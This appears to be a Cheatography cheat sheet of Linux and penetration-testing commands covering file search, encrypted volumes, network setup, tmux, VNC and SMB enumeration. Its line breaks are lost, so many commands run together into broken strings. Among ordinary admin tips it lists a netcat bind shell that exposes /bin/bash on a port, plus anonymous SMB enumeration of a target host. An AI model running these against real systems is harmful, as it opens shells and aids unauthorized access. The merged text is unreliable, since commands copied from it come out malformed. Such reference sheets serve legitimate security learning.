awk '/197.128.145.39/{ print NR; exit }' ips.txtdmesg | grep ^ethsudo service network-manager restartpip install whatportiswhatportis 21sudo apt-get install sipcalcsipcalc 192.168.1.0/24diff file1 file2 (compare files line by line)ndiff file1 file2 (compare 2 nmap scans for changes)systemctl disable apache2 (disable apache from auto-starting on boot/login)nano .bashrc (in your home directory)export EDITOR="/bin/nano"sudo pip install cheatcheat netstatcheat -e fooman ascii (show ascii table)bc (command line calculator)sudo chown username filenamechown --reference=otherfile thisfilesudo find -iname fileorfoldernamesudo find -iname fileorfoldername* echo 192.168.9.{200..250} | xargs -n 1 -P0 ping -c 1 | grep "bytes from" find * | xargs exiftool (Run exiftool against all files in current directory and subdirectories)tree directorynamewatch ls (run ls every 2secs)top (view processes in detail)htop (better alternative)crontab -e (list and edit cronjobs)nano -c filename command1 2>&1 | tee log.txtls -al | tee file.txtcommand1 | tee -a log.txtcat rubbish.txt; lsnc -lvvp 2345 -e /bin/bashnc -vn 192.168.1.177 2345python"blah".encode('base64')"YXNjaWkxLnR4dA==".decode('base64')sudo apt-get install cryptsetupsudo cryptsetup luksOpen /dev/sda1 my_encrypted_volumesudo mkdir /media/my_devicesudo mount /dev/mapper/my_encrypted_volume /media/my_devicesudo umount /media/my_devicesudo cryptsetup luksClose my_encrypted_volumesudo udisks --mount /dev/mapper/my_encrypted_volumeifconfig eth0 192.168.72.100/24 (configure IP)route add default gw 192.168.72.2 (add gateway)echo nameserver 4.2.2.2 > etc/resolv.conf (add DNS to resolv.conf)dhclient eth0ifconfigkillall dhclientps -ef | grep dhclient/etc/proxychains.conf (usage info)proxychains firefox google.comenum4linux -U -o 192.168.1.200smbclient -L //TARGETIP (list shares)smbclient //TARGETIP/tmp (connect to tmp folder)smbclient -I 192.168.92.131 -R virnet.com -N -U (capital i, -R = domain, -N = no pass, -U = user)ssh blah@x.x.x.xtmuxnmap -A etc...ssh blah@x.x.x.xtmux attach (to connect to first available session)apt-get install tightvncservervncservernetstat -antp | grep vnc (usually runs on port 5901)No comments yet.
Cheatography n. The art of mapping complex subjects into clear, instantly navigable reference guides.